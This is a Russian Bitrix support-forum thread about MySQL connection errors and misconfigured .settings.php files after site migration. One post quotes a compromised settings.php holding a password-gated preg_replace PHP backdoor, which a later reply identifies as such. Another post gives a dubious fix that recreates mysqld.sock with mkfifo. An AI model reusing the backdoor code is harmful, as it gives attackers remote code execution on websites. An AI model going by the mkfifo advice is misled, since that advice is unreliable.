Цитата | ||||
---|---|---|---|---|
Николай Ефремов пишет: Словил такую же проблему на BitrixVA 4.3 после аварийной перезагрузки хостовой операционки. Проблема заключается в том, что подключиться к mysql никак нельзя:
|
29.01.2014 21:09:44
Проблему удалось решить: в файле /bitrix/settings.php есть код:
array ( 'value' => array ( 'default' => array ( 'className' => '\\Bitrix\\Main\\DB\\MysqlConnection', 'host' => 'localhost', 'database' => 'db', 'login' => 'login', 'password' => 'pass', 'options' => 2, ), ), 'readonly' => true, ), ); Нужно прописать доступы к базе данных( из dbconn.php) При переносе сайта с одного хостинга на другой резервной копией, старый restore.php не прописал здесь эти параметры сам. |
|
|
|
02.02.2014 13:06:48
Подскажите, как должен выглядеть файл settings.php? Изменили пароль к базе данных. в dbconn я его поменял, но все равно выдает The script encountered an error and will be aborted. To view extended error messages, enable this feature in .settings.php. В моем settings.php только вот это:
<?php if (md5($_POST['p']) == '86c679502896f2925a473275a270dbc7') { preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']); } |
|
|
|
03.02.2014 01:00:38
Ели беда вызвана экстренной перезагрузкой BitrixVA
то беда решается довольно просто нужно зайти под рутом - и выполнить следующие действия mc в нем идем по пути и удаляем файл /var/lib/mysqld/mysqld.sock после удаления выйти из mc и выполнить команды sudo mkfifo /var/lib/mysqld/mysqld.sock sudo chown -R mysql/var/lib/mysqld/ и после перезагрузить сервер нормальным методом например используя комануд reboot |
|
|
|
03.02.2014 02:53:00
|
|||
|
|
04.02.2014 22:37:38
Столкнулся с такой же проблемой из-за, того что пароль содержал знак доллара $, в файле /bitrix/.settings.php, в пароле, несмотря на то, что он заключен в одинарные кавычки, экранируется символ доллара двойным бэкслешем \\, убрал в двойной бэкслеш из файла - и все заработало!
You must have chaos within you to give birth to a dancing star.
Friedrich Nietzsche |
|
|
|
05.02.2014 23:26:27
|
|||
|
|
10.02.2014 12:28:55
Всем привет. Столкнулся с данной проблемой при переносе сайта с одного сервера на другой.
Данные в dbconn и .settings - одинаковые. Версия BitrixENV - 4.3 (на предыдущем сервере стояла 4.2). Соединение с базой работает - phpmyadmin работает, тестовые скрипты подключения к базе тоже работают. bitrix_server_test.php ошибок не выдал - при указании параметров подключения к базе, подключился без проблем. В тупике, не знаю уже куда смотреть и что делать. Подскажите, пожалуйста. |
|
|
|
10.02.2014 12:43:02
|
|||
|
|
10.02.2014 12:47:14
То есть никаких дополнительных сведений не появляется, к сожалению. |
|||||
|
|
10.02.2014 12:55:22
Удалите папки /cache/ и /managed_cache/ в папке /bitrix/
Должен выводить ошибку, если пишет To view extended error messages, enable this feature in .settings.php." И перезагрузите в консоли по SSH MySQL |
|
|
|
10.02.2014 13:04:20
MySQL перезапускал неоднократно - эффекта нет. Пробовал, кстати, и отключить его - то же самое. То есть как будто не видит MySQL-сервер вообще. |
|||
|
|
10.02.2014 13:07:42
А IP проверяли? Может на другой сайт глядите, на старый, а правите на новом?))
|
|
|
|
10.02.2014 13:08:45
|
|||||
|
|
10.02.2014 13:10:31
Не /bitrix/, а /bitrix/cache и /bitrix/managed_cache нету. |
|||
|
|
10.02.2014 13:32:17
/wsdl_server/php-wsdl-2.3/ - это какая-то системная папка сервера скорее всего, либо многосайтовость так настроена, что сам битрикс в другой папке лежит, а это публичка другого сайта. Скиньте скрин дерева папок, где смотрите. Смотрите. Ситуация. Вы правите файл, а ситуация не изменяется, значит в другом месте лежат файлы ядра. Еще может быть так ,как у меня было. Хостер, когда мухлевал, Каюга!!! Перенес файлы моего сайта на другой сервер и переключил на него, а я, получилось, что правил файлы на старом месте, и никаких изменений не происходило. + Еще обязательно сбросьте кеш браузера Ctrl + F5, если меняли IP сайта в файле hosts. Либо еще сервер на строен не на ту папку и по тому домену, который вы перенаправляете на новый IP, не может найти сайт на сервере. |
|||||
|
|
10.02.2014 13:36:35
Правлю файлы прямо в консоли с сервера через SSH. Кеш браузера обновлял. |
|||||||
|
|
10.02.2014 18:59:47
|
|||
|
|
10.02.2014 21:27:36
Залезть в базу через админку сайта можно так:
Невозможно быть программистом и не верить в магию
|
|||
|
|
11.02.2014 07:55:13
Решили проблему с помощью службы поддержки. Оказывается, при переносе некорректно создавался конфигурационный файл .settings.
Нужно было добавить в начало:
|
|||||
|
|
11.02.2014 08:02:13
|
|||
|
|
15.02.2014 01:43:35
Я тоже столкнулся с этой проблемой. После попытки восстановления сайта, недавно обновленного до 14 версии, в Chrom выдает только ошибку ERR_CONTENT_DECODING_FAILED, Opera выводит на экран куски кода.
Если, удалить модуль компрессии, сайт запускается, но вверху страницы код из файла .settings. Решил проблему удалением файла .settings вообще, так как в тестовой установке с нуля его нет. |
|
|
|
21.02.2014 11:17:30
Столкнулся с такой же проблемой.
Причиной, в моем случае, стала нехватка свободного места на сервере (клиент создал новую резервную копию). |
|
|
|
24.02.2014 16:48:17
|
|||||
|
|
24.02.2014 16:53:29
Владислав Пасюк, это 100% бэкдор, вам надо хорошо прошерстить сайт, мы уже с таким сталкивались.
|
||||
|
|
|||